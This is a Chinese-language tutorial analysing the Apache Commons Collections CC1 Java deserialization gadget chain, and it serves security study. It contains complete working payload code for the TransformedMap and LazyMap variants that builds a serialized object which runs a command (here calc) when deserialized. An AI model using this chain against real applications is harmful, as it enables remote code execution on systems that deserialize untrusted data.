Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
目录
JAVA环境
java version "1.8.0_66"
Java(TM) SE Runtime Environment (build 1.8.0_66-b18)
Java HotSpot(TM) 64-Bit Server VM (build 25.66-b18, mixed mode)
Apache Commons Collections 依赖版本:Commons Collection 3.2.1
依赖版本
- commons-collections : 3.1 - 3.2.1
- TransformedMap - jdk < 8u71
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
资源下载
前置知识
AbstractMapDecorator
首先 CC 库中提供了一个抽象类org.apache.commons.collections.map.AbstractMapDecorator
,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能
被装饰的 map 存在于该类的属性中,并且将所有的操作都转发给这个 map
这个类有很多实现类,各个类触发的方式不同,重点关注:
TransformedMap
LazyMap
TransformedMap
org.apache.commons.collections.map.TransformedMap
类可以在一个元素被加入到集合内时
- 自动对该元素进行特定的修饰变换
- 具体的变换逻辑由
Transformer
来定义 Transformer
在TransformedMap
实例化时作为参数传入
接下来看一下几个重点方法
decorate
TransformedMap 通过 decorate
函数将自定义的转换逻辑Transformer
装饰到传入的map
中,Transformer
分为keyTransformer
与valueTransformer
,分别对应key和value的转换逻辑
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
transformKey/transformValue
在transformKey
/transformValue
方法中,会调用keyTransformer
/valueTransformer
的transform
方法,实际进行转换
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
put
调用 TransformedMap
的 put
方法时,会触发transformKey
/transformValue
方法,从而触发transform
方法,实际进行转换
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
当 TransformedMap 内的 key 或者 value 发生变化时,就会触发相应参数的 Transformer
的 transform
方法,这里以put
方法举例
使用实例
public static void main(String[] args) throws Exception {
// 创建基础HashMap对象
HashMap<Object, Object> map = new HashMap<>();
map.put(1, "a");
System.out.println("初始化map: " + map);
// 创建一个Transformer对象,将输入的key转换为key + 1
Transformer keyTransformer = input -> (Object) ((int) input + 1);
// 创建一个Transformer对象,将输入的value转换为value + "1"
Transformer valueTransformer = input -> input + "1";
// 使用TransformedMap包装原始map对象
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
// 使用put触发transform()方法
transformedMap.put(2, "b");
System.out.println("transformedMap1: " + transformedMap);
transformedMap.put(1, "c");
System.out.println("transformedMap2: " + transformedMap);
transformedMap.remove(1);
System.out.println("transformedMap3: " + transformedMap);
}
LazyMap
org.apache.commons.collections.map.LazyMap
与 TransformedMap
类似,差异在于
- 调用
get()
方法时如果传入的 key 不存在,则会触发相应参数的Transformer
的transform()
方法。
org.apache.commons.collections.map.DefaultedMap
与 LazyMap
具有相同功能,同样是 get()
方法会触发 transform()
方法
decorate
LazyMap 通过 decorate
函数将自定义的转换逻辑Transformer
装饰到传入的map
中,Transformer
只有factory
,不分keyTransformer
与valueTransformer
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
get
调用 LazyMap 的 get
方法时,如果装饰的 map 中不存在传入的key,会触发factory
的transform
方法,实际进行转换
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
使用实例
public void test() {
// 创建基础HashMap对象
HashMap<Object, Object> map = new HashMap<>();
map.put(1, "a");
System.out.println("初始化map: " + map);
// 创建一个Transformer对象,将输入的key转换为key + 1
Transformer factory = input -> (Object) ((int) input + 1);
// 使用TransformedMap包装原始map对象
Map lazyMap = LazyMap.decorate(map, factory);
System.out.println("LazyMap: " + lazyMap);
System.out.println("LazyMap.get(1): " + lazyMap.get(1));
System.out.println("LazyMap.get(2): " + lazyMap.get(2));
System.out.println("LazyMap: " + lazyMap);
}
Transformer
org.apache.commons.collections.Transformer
是一个接口,提供了一个 transform()
方法,用来定义具体的转换逻辑
transform()
方法方法接收 Object 类型的 input,处理后将 Object 返回
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对TransformedMap 中 key/value 进行修改的功能。
IDEA可以很清楚看到有哪些Transformer 的实现类,不过我这里用的VSCode,只发现可以根据引用来判断有哪些Transformer 的实现类,嗯。。。考虑换一个IDE调JAVA了
重点关注其中几个实现类。
InvokerTransformer - sink
这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象
直接调代码看到的是经过反编译之后的代码,这种反编译的包不好调试。我们下载导入的它的源码,调试起来会比较方便。
transform
来看一下它的对于transform()
方法的实现
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
方法注释写的很清楚,通过调用 input 上的方法对 input 进行转换,并将方法返回结果作为处理结果进行返回
具体使用反射创建新对象的过程为:
Class cls = input.getClass();
- 通过对象实例获取类的所有信息,是反射的入口
Method method = cls.getMethod(iMethodName, iParamTypes);
- 获取 iMethodName 方法,参数类型为 iParamTypes
return method.invoke(input, iArgs);
- 对于 input 对象执行 iMethodName 方法,参数为 iParamTypes
- 将执行的结果作为对象返回
调用需要的参数iMethodName
、iParamTypes
是在InvokerTransformer
的构造函数中传入
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
这样我们就可以使用 InvokerTransformer
来执行方法
利用实例
- 定义转换逻辑
iMethodName
设置为exec
,表示调用exec
方法iParamTypes
设置参数类型,我们设置为一个Class数组iArgs
设置参数实体,即exec
具体执行的命令,我们传入字符串calc
- 调用
transform()
方法,传入Object 类型的输入进行转换- 我们传入
Runtime.getRuntime()
- 我们传入
public class TestInvokerTransformer {
@Test
public void invoker() throws Exception {
// InvokerTransformer 弹计算器测试
InvokerTransformer transformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
transformer.transform(Runtime.getRuntime());
}
}
将调用Runtime.getRuntime()
中的exec
方法,加上calc
参数,最终执行Runtime.getRuntime().exec("calc")
很明显,InvokerTransformer
就是一个sink点
ChainedTransformer - chain
org.apache.commons.collections.functors.ChainedTransformer
类也是一个 Transformer 的实现类,但是这个类自己维护了一个 Transformer 数组
transform
在调用 ChainedTransformer
的 transform
方法时:
- 循环数组
- 依次调用 Transformer 数组中每个 Transformer 的
transform
方法 - 将结果传递给下一个 Transformer
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这样就给了使用者链式调用多个 Transformer
分别处理对象的能力
调用需要的参数iTransformers
是在ChainedTransformer
的构造函数中传入
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
是一个返回固定常量的 Transformer
在初始化时储存了一个 Object,transform
方法调用时会忽略输入,直接返回存储的 Object。
/** The closures to call in turn */
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
这个类用于和 ChainedTransformer
配合,将其结果传入 InvokerTransformer
来调用我们指定的类的指定方法。
攻击构造
有了上述基础知识的铺垫,就可以开始构造反序列化的恶意利用代码了。
sink & chain
例如我们还是要执行 Runtime.getRuntime().exec("calc")
,按照需求对其进行拆分
这里使用 TransformedMap
触发,实例代码如下:
public class TestTransformedMap2 {
@Test
public void transformMap() throws Exception {
// 创建基础HashMap对象
HashMap<Object, Object> map = new HashMap<>();
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 通过反射调用Runtime.class的getMethod方法,获取getRuntime方法的引用
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
// 调用getRuntime方法的invoke方法,获取Runtime实例
// getRuntime是静态方法,它会返回一个Runtime实例
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
// 调用Runtime实例的exec方法,执行指定的命令
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
// 使用TransformedMap包装原始map对象
Map map2 = TransformedMap.decorate(map, chain, null);
map2.put(10, "1");
System.out.println("map2: " + map2);
}
}
- 使用
ConstantTransformer
返回Runtime
的Class
对象 Runtime
的Class
对象将作为输入,传入InvokerTransformer
中,并借助ChainedTransformer
的链式调用方式完成反射的调用,支持恶意代码- 使用
TransformedMap
的decorate
方法将ChainedTransformer
设置为map
的装饰器处理方法 - 当调用
TransformedMap
的put
/setValue
等方法时会触发Transformer
链的调用处理
kick-off
在上面已经利用 CC 库成功构造了 sink gadget 和 chain gadget,接下来我们需要找到一个 kick-off gadget,条件为:
- 一个类
- 重写了 readObject
- 在反序列化时可以改变 map 的值
AnnotationInvocationHandler
我们找到了 sun.reflect.annotation.AnnotationInvocationHandler
这个类。
这个类实现了 InvocationHandler
接口,原本是用于 JDK 对于注解形式的动态代理,分析一下这个类的代码:
构造方法
构造方法接收两个参数
- 第一个参数是 Annotation 实现类的 Class 对象
type
- 第二个参数是是一个
Map<String, Object>
, key 为 String,value 为 Object
构造方法对于Annotation 实现类的 Class 对象type
进行判断
- 是否有且只有一个父接口
- 父接口是否为
Annotation.class
都为真才会将两个参数初始化在成员属性 type
和 memberValues
中,这里的 memberValues
就是用来触发的 Map
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
readObject
接下来我们看一下这个类重写的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
- 调用
AnnotationType.getInstance(type)
方法- 获取 type 这个注解类对应的 AnnotationType 的对象
- 调用注解类的
memberTypes()
方法- 获取其 memberTypes 属性
- 这个属性是个 Map,存放这个注解中可以配置的值
- 获取其 memberTypes 属性
- 循环
memberValues
这个 Map ,获取其 Key- 通过
memberType.isInstance(value)
判断值是否是成员类型的实例 - 同时,代码还检查值是否是
ExceptionProxy
的实例 - 如果值既不是成员类型的实例,也不是ExceptionProxy的实例,则认为类型不匹配,进行处理
- 创建一个新的
AnnotationTypeMismatchExceptionProxy
对象,并将该成员的详细信息设置到代理对象中- 这个代理对象的作用是延迟抛出类型不匹配的异常,直到实际访问该成员时才抛出
- 调用
setValue
方法写入值
- 创建一个新的
- 通过
构造恶意Payload
基于TransformedMap
所以我们构造恶意Payload的思路就清楚了:
- 构造一个
AnnotationInvocationHandler
实例,初始化时传入一个注解类和一个 Map<String, Object>- Map 的 key 中要有注解类中存在的属性
- 但是 value 不是对应的实例,也不是 ExceptionProxy 对象
- Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰
- ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作
public void CC1WithTransformedMap() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
// 注意:这里的 key 应该是 AnnotationInvocationHandler 实例化时传入的注解类中的属性值
// 并且这里的 value 不是属性值的类型
map.put("comments", 2);
Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
// 获取 AnnotationInvocationHandler 的 Class 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取 AnnotationInvocationHandler 的构造函数
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造函数为可访问
constructor.setAccessible(true);
// 使用反射创建 AnnotationInvocationHandler 的实例,传入 .class 和 decorated
// Object o = constructor.newInstance(Target.class, decorated);
Object o = constructor.newInstance(Generated.class, decorated);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
这里有个细节就是网上大多数 payload 使用 Target.class
的 value 属性来触发,其实用什么都行,找任意一个有属性的注解都可以,在上面的示例代码中使用了 Generated.class
的 comments
属性。
反序列化流程分析
读取文件进行反序列化时,实际执行AnnotationInvocationHandler
重写的readObject
方法,最后执行setValue
setValue
是AbstractInputCheckedMapDecorator
中MapEntry
类的setValue
方法
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
setValue
方法中会执行父类的checkSetValue
,即TransformedMap#checkSetValue
- 实际调用
valueTransformer.transform
,执行chainedTransformer
的transform
方法 - 最终执行
chainedTransformer
的 Transformer 数组中所有 Transformer 的transform
方法
- 实际调用
setValue
方法调用HashMap#setValue
设置 value,并返回原 value 值
基于LazyMap
除了用 TransformedMap,还可以用 LazyMap 来触发,之前提到过,LazyMap 通过 get
方法获取不到 key 的时候触发 Transformer。
我们发现 AnnotationInvocationHandler
的 invoke
方法可以触发 memberValues 的 get 方法。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
这里用到了动态代理,总结起来的一句话就是:
被动态代理的对象调用任意方法都会调用对应的InvocationHandler
的 invoke
方法
那构造的思路的就有了:
- 先使用
InvocationHandler
代理一下 LazyMap- 使用反射获取
AnnotationInvocationHandler
类的构造函数 - 通过反射调用构造函数,创建
InvocationHandler
实例,传入Generated.class
和装饰后的map
- 使用
Proxy.newProxyInstance
创建一个代理实例,该代理实现LazyMap
的接口,并使用之前创建的InvocationHandler
处理方法调用
- 使用反射获取
- 后续反序列化
AnnotationInvocationHandler
时,调用 LazyMap 值的setValue
方法之前会调用代理类的invoke
方法- 触发 LazyMap 的
get
方法
- 触发 LazyMap 的
- 再使用带有装饰器的 LazyMap 初始化
AnnotationInvocationHandler
不得不说这种思路稍微有些变态,因为使用了 AnnotationInvocationHandler
作为反序列化触发点,又同时使用其动态代理特性,所以有点绕。
那么最终的恶意代码为:
public void TestCC1WithLazyMap() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
map.put("comments", 2);
Map<Object, Object> decorated = LazyMap.decorate(map, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler o = (InvocationHandler)constructor.newInstance(Generated.class, decorated);
// 创建LazyMap的动态代理类实例
Map<Object, Object> mapProxy = (Map<Object, Object>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), o);
InvocationHandler o1 = (InvocationHandler)constructor.newInstance(Generated.class, mapProxy);
// 使用动态代理初始化 AnnotationInvocationHandler
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o1);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
总结
以上就是 CC1 链分析的全部内容了,最后总结一下
利用说明
- 利用
AnnotationInvocationHandler
在反序列化时会触发 Map 的get
/set
等操作 - 配合
TransformedMap
/LazyMap
在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法 - 最后结合了以下两者完成了恶意调用链的构成
ChainedTransformer
的链式调用InvokerTransformer
的反射执行
- 其中 LazyMap 的触发还用到了动态代理机制。
Gadget 总结
- kick-off gadget:
sun.reflect.annotation.AnnotationInvocationHandler#readObject()
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform()
- chain gadget:
org.apache.commons.collections.functors.ChainedTransformer#transform()
调用链展示
基于TransformedMap
AnnotationInvocationHandler.readObject()
TransformedMap.checkSetValue()
TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
基于LazyMap
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
拓展知识点:动态代理
动态代理是一种在运行时动态生成代理类的技术。代理类可以实现一个或多个接口,并在运行时拦截和处理方法调用。动态代理通常用于实现AOP(面向切面编程),如日志记录、事务管理、权限验证等。
动态代理的实现依赖于java.lang.reflect.Proxy
类和InvocationHandler
接口。
1. 动态代理的核心组件
- InvocationHandler:这是一个接口,定义了一个
invoke
方法,用于处理代理对象的方法调用。 - Proxy:提供静态方法
newProxyInstance
,用于创建代理对象。
2. 动态代理的工作流程
- 定义接口:代理类必须实现一个或多个接口。
- 实现InvocationHandler:创建一个实现
InvocationHandler
接口的类,重写invoke
方法,处理方法调用。 - 创建代理对象:使用
Proxy.newProxyInstance
方法,传入接口类加载器、接口类型数组和InvocationHandler
实例,生成代理对象。 - 调用代理方法:通过代理对象调用方法,
InvocationHandler
会拦截并处理这些调用。